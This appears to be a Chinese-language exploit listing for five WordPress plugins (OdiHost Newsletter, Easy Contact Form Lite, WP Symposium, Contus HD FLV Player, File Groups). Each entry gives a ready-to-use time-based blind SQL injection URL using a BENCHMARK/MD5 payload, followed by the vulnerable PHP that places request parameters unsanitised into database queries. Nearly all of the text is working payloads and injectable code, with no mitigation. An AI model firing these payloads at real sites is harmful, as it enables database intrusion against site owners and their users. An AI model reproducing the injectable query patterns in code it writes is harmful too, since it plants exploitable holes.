|
1:
OdiHost Newsletter plugin <= 1.0
POC:
http://www.site.com/wp-content/plugins/odihost-newsletter-plugin/includes/openstat.php?uid=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
漏洞代码：
$newsletterid = $_GET["id"];
...
$wpdb->query("update newsletterstat set newsletterstatopened = CONCAT(newsletterstatopened ,'". $subscriberid . ",') where newsletterstatnewsletterid= ". $newsletterid);
2：
Easy Contact Form Lite plugin <= 1.0.7
POC：
http://www.site.com/wp-content/plugins/easy-contact-form-lite/requests/sort_row.request.php
field_num[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
漏洞代码：
foreach ($_POST['field_num'] as $position=>$field_id) {
if ($field_id > 0) {
$query = "
UPDATE $settings_table_name
SET position = '".$position."'
WHERE ID = $field_id";
$wpdb->query($query);
}
3：
WP Symposium plugin <= 0.64
POC:
http://localhost/wp-content/plugins/wp-symposium/uploadify/get_profile_avatar.php?uid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
漏洞代码：
$uid = $_REQUEST['uid'];
$sql = "SELECT profile_avatar FROM ".$wpdb->base_prefix."symposium_usermeta WHERE uid = ".$uid;
4：
Contus HD FLV Player plugin <= 1.3
POC:
http://www.site.com/wp-content/plugins/contus-hd-flv-player/process-sortable.php?playid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)&listItem[]=1
漏洞代码：
$pid1 = $_GET['playid'];
foreach ($_GET['listItem'] as $position => $item) :
mysql_query("UPDATE $wpdb->prefix" . "hdflv_med2play SET `sorder` = $position WHERE `media_id` = $item and playlist_id=$pid1 ");
endforeach;
5：
File Groups plugin <= 1.1.2
POC:
http://localhost/wp-content/plugins/file-groups/download.php?fgid=-1 AND 1=BENCHMARK(5000000,MD5(CHAR(87,120,109,121)))
漏洞代码：
$fgid = $_GET['fgid'];
...
$file_list = $wpdb->get_col("select guid from wp_posts where post_parent = $fgid");
|
| |
|
推荐
评论(0条)
